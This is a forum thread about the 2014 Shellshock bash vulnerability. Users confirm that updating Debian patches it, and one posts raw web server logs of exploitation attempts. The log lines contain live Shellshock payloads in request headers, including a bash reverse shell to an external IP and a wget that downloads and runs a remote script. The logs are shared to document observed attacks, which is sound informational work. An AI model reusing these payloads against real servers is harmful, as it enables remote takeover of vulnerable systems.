What should be done to patch the vulnerability? Would running apt-get update/upgrade fix it?

Yep

_________________
Paid support
How to ask for help
1. Give details of your problem
2. Post any errors
3. Post relevant logs.
4. Don't hide details i.e. your domain, it just makes things harder
5. Be polite or you'll be eaten by a grue

Assuming that you are running a version of Linux where security updates are still being released.

For Debian, if you are running Wheezy, then yes. If you are still running Squeeze, then you need to add the LTS repos.

_________________
/ Peter

Check this out from the logs from Sokolovskaya:

89.207.135.125 - - [25/Sep/2014:07:05:56 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 506 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Some dude going through a VPS in the Netherlands tried to ping a VPS owned by RackSpace Hosting.  Going through a VPS.  Too much VPS.

202.38.120.248 - - [26/Sep/2014:06:23:28 -0400] "GET / HTTP/1.0" 200 1458 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
114.91.100.234 - - [27/Sep/2014:10:27:56 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 23.239.27.244'"
54.251.83.67 - - [29/Sep/2014:05:58:53 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
82.221.131.250 - - [30/Sep/2014:08:46:36 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 
2.133.128.30 - - [01/Oct/2014:04:15:15 -0400] "GET /git/gitweb.cgi?p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=H EAD HTTP/1.1" 200 12229 "() { :;}; echo; /usr/bin/wget http://2.133.128.30/robots.txt?http://redsec.ru/git/gitweb.cgi?p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=HEAD;" "() { :;}; echo; /usr/bin/wget http://2.133.128.30/robots.txt?http://redsec.ru/git/gitweb.cgi? p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=HEAD;"